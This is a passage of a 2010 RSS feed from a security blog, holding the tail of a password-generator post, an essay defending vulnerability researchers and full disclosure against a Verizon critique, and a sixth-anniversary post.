predictable, and someone internally could pull out the passwords and 
create a simple password list to feed to any number of tools. If you are
 going to use the second version, please use your own list of words, 
ideally several thousand to increase the entropy. The current list was 
created by taking the top 500 6-digit words from the Unix English (en) 
dictionary, and removing complex ones. 




&lt;p&gt;&lt;em&gt;These tools where originally written when I was an employee of 
Deloitte South Africa, and while necessarily under the GPL due to 
included code, are still published here with permission of them. They 
have however, been updated since then on SensePost&#039;s coin.&lt;/em&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;/div&gt; 
    </content:encoded>

    <pubDate>Tue, 04 May 2010 18:49:39 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1003-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>In Defence of Vulnerability Researchers</title>
    <link>http://www.singe.za.net/blog/archives/999-In-Defence-of-Vulnerability-Researchers.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/999-In-Defence-of-Vulnerability-Researchers.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=999</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=999</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;Verizon&#039;s Wade Baker (with assistance from Dave Kennedy, who I will refer interchangeably to as with Wade, Dave or Verizon) published &lt;a href=&quot;http://securityblog.verizonbusiness.com/2010/04/22/redefining-security-researcher/&quot; title=&quot;Redefining Security Researcher&quot;&gt;a post&lt;/a&gt; claiming that vulnerability/security researchers are given too much leeway, and are closer to criminals than good guys. He suggests they should rather be called &amp;quot;narcissistic vulnerability pimps&amp;quot; (NVPs) in future. Dan Goodin got some clarification when writing &lt;a href=&quot;http://www.theregister.co.uk/2010/04/23/verizon_narcissistic_vulnerability_pimps/&quot; title=&quot;Verizon due sec researchers NVPs&quot;&gt;his piece&lt;/a&gt; for The Register which expands on some of Verizon&#039;s motivations and justifications.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;While I think I identify with part of his frustrations, he&#039;s wrong. Mostly due to an overconfidence in how vendors optimise for &amp;quot;shareholder value&amp;quot;, but also because while scrabbling to paint vuln researchers as bad guys, he forgot about the actual bad guys.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Wade suggests three categories that could be used to describe security professionals, as they are neither exclusive, accurate or sufficient I&#039;m going to ignore them. Instead, I&#039;m going to try and distill what Wade believes is the problem, and his preferred approach while attempting to avoid the straw man.&lt;/p&gt; 
&lt;p&gt;Wade seems to believe that people who discover vulnerabilities, then publish them to the general public, whether after informing the vendor or not, are motivated predominantly by glory and not good intentions. The few motivated by good intentions, it seems, would also be labeled problematic by Wade (&amp;amp; Dave, as the quote is his) because:&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt;[F]ull disclosure was never a good idea, even in cases, like &lt;a href=&quot;http://seclists.org/fulldisclosure/2010/Apr/119&quot; title=&quot;Tavis&#039; Full Disclosure Post&quot;&gt;Ormandy&#039;s dust-up with Oracle&lt;/a&gt;.&lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;The alternative it seems Verizon would like to see, is that researchers who find vulnerabilities report them to the vendor and walk away. I&#039;m assuming they&#039;d allow for some follow up, but publishing the vulnerability publicly would earn you the NVP label. Once again a quote from Wade/Dave/Verizon/Dan Gooding:&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt;&amp;quot;Apple has a responsibility to their shareholders and to their customers to deal with the vulnerabilities, and their shareholders and their customers can hold Apple&#039;s feet to the fire. They have their own ways of exerting pressure on Apple to behave in a way they think Apple should behave.&amp;quot;&lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;There&#039;s an obvious problem with Wade&#039;s approach; it isn&#039;t universalisable, and we have hard facts for that. There are many vendors who don&#039;t act on reported vulnerabilities as anyone who&#039;s ever submitted security flaws to vendors can tell you. David Litchfield has even waited a few years before eventually publishing Oracle vulns. Even if every vendor in existence responded to discovered flaws perfectly, there&#039;s no obligation for them to. If we look at the externalities pressuring them to action, sexy new features are going to please both shareholder and customers more. Those same customers and shareholders don&#039;t really understand this complex security mumbo jumbo, and so in the rare instances when they can patch a bug without at least one news outlet publishing a &amp;quot;OMFG there&#039;s a flaw in product X&amp;quot; the customers and shareholders still aren&#039;t going to fully appreciate the security fix. What&#039;s more, if a security fix prevents a customer from getting hacked, they will have no idea, and won&#039;t credit the vendor. The only time not deploying a fix will be a problem for the company is if a mass or high-profile public hack of their customers occurs. Given that most criminals don&#039;t like getting caught and that computer crime is hard to detect, that&#039;s a much rarer event than the actual occurrence of hacks. &lt;strong&gt;This is exactly why full disclosure came about, *in response* to the way vendors were ignoring bugs, to add another externality to drive them into fixing bugs.&lt;/strong&gt;&lt;/p&gt; 
&lt;p&gt;This is where the difference between actual computer criminals and security researchers becomes important. Something Wade get&#039;s woefully wrong:&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt;Have you ever heard of a terrorist referred to as a “demolition engineer?” How about a thief as a “locksmith?” No? Well, that’s because most fields don’t share the InfoSec industry’s ridiculous yet long-standing inability to distinguish the good guys from the bad guys.&lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;The security researchers Wade is taking aim at are the one&#039;s who publish their work publicly (hence the addition of &amp;quot;narcissistic&amp;quot; I believe). But there are a whole whack of people who don&#039;t publish their work publicly, or to the vendor or even via vuln clearing houses like VDI (which eventually gets to the vendor). Wade doesn&#039;t pass judgment on them. Even those people aren&#039;t criminals. One could argue they aren&#039;t optimising for the public good, because an actual criminal could have found the same flaw and be privately exploiting it. They aren&#039;t criminals because they haven&#039;t committed a crime, or even harmed anyone. Actual criminals are people who either discover or buy flaws and then use them to (or have the intention to) commit a crime. This is the distinguishing difference between a thief and a locksmith, or a terrorist (an already loaded term) and a physical pentester. Their intention, and what they do with the information. One uses it to fix the hole, the other exploits it. &lt;strong&gt;This is why full disclosure exists, not the make money, but to encourage people to fix the holes, not exploit them.&lt;/strong&gt; The fact that it can buy you a limited about of fame is a bonus because it provides an incentive to go public (one that pales in comparison to the hard dollars you can get via other means).&lt;/p&gt; 
&lt;p&gt;Finally, I do identify with parts of Wade&#039;s frustration with regards to people who either disclose without reporting to the vendor first, or &lt;a href=&quot;http://singe.za.net/blog/archives/933-Dan-Kaminskys-BlackHat-USA-08-Talk-on-the-DNS-Flaw.html&quot; title=&quot;Dan Kaminsky&#039;s BlackHat USA &#039;08 DNS Flaw&quot;&gt;hype a vulnerability&lt;/a&gt; way beyond it&#039;s actual risk. The first leaves the install base vulnerable with the exploit popularised, the second causes people to optimise resources poorly. There&#039;s room for updated research on &lt;a href=&quot;http://singe.za.net/blog/archives/928-Vulnerability-Life-Cycle.html&quot; title=&quot;Vulnerability LIfe Cycle&quot;&gt;vulnerability life cycles&lt;/a&gt;, to ensure the debate revolves around facts and not hypothesis. Either way, one should not be confused about which side those researchers are on. They are the good guys, their work could be used in far more evil ways, they do work the vendor isn&#039;t able/capable of. They make us safer, maybe not always in the best way, but in the end they make us safer.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sat, 24 Apr 2010 12:53:02 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/999-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>On Year Six</title>
    <link>http://www.singe.za.net/blog/archives/996-On-Year-Six.html</link>
            <category>Play</category>
    
    <comments>http://www.singe.za.net/blog/archives/996-On-Year-Six.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=996</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=996</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;Today my blog turned six, and &lt;a href=&quot;https://twitter.com/singe/status/8682594217&quot;&gt;I tweeted&lt;/a&gt; that fact with the following:&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt;My blog http://singe.za.net/ turned 6 today. The fact that I&#039;m tweeting this rather than blogging it is probably significant.&lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;While blogging remains more a more satisfying and useful means of exploring a thought, twitter let&#039;s you skip the work and move onto the conversation (sometimes) a bit sooner, but without any decent record of that conversation occurring (twitter&#039;s searchable memory is too short). I&#039;m certainly going to continue blogging, but I don&#039;t see my throughput increasing much. Luckily, subscribing to an &lt;a href=&quot;http://www.singe.za.net/blog/feeds/index.rss2&quot;&gt;RSS feed&lt;/a&gt; is only a cost if there are too many updates ;).&lt;/p&gt; 
&lt;p&gt;That being said, I think there&#039;s been some fun stuff on the blog in the last year, my favourite posts have been:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;a href=&quot;http://www.singe.za.net/blog/archives/976-Using-Maltego-to-Data-Mine-Twitter.html&quot;&gt;Using Maltego to Data Mine Twitter&lt;/a&gt;&lt;/li&gt; 
&lt;li&gt;&lt;a href=&quot;http://www.singe.za.net/blog/archives/979-Conficker-Claims-its-First-Human.html&quot;&gt;Conficker Claims it&#039;s first Human Life&lt;/a&gt;&lt;/li&gt; 
&lt;li&gt;My first guest post - &lt;a href=&quot;http://www.singe.za.net/blog/archives/989-Efficient-extraction-of-data-using-binary-search-and-ordering-information.html&quot;&gt;Efficient extraction of data using binary search and ordering information&lt;/a&gt;&lt;/li&gt; 
&lt;li&gt;&lt;a href=&quot;http://www.singe.za.net/blog/archives/993-Deloitte-SensePost.html&quot;&gt;Deloitte -&amp;gt; SensePost&lt;/a&gt; for a personal milestone (there was another personal milestone, my marriage, but that wasn&#039;t much of a blog entry).&lt;/li&gt; 
&lt;/ul&gt;  
    </content:encoded>

    <pubDate>Fri, 05 Feb 2010 05:31:00 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/996-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>

</channel>
</rss>
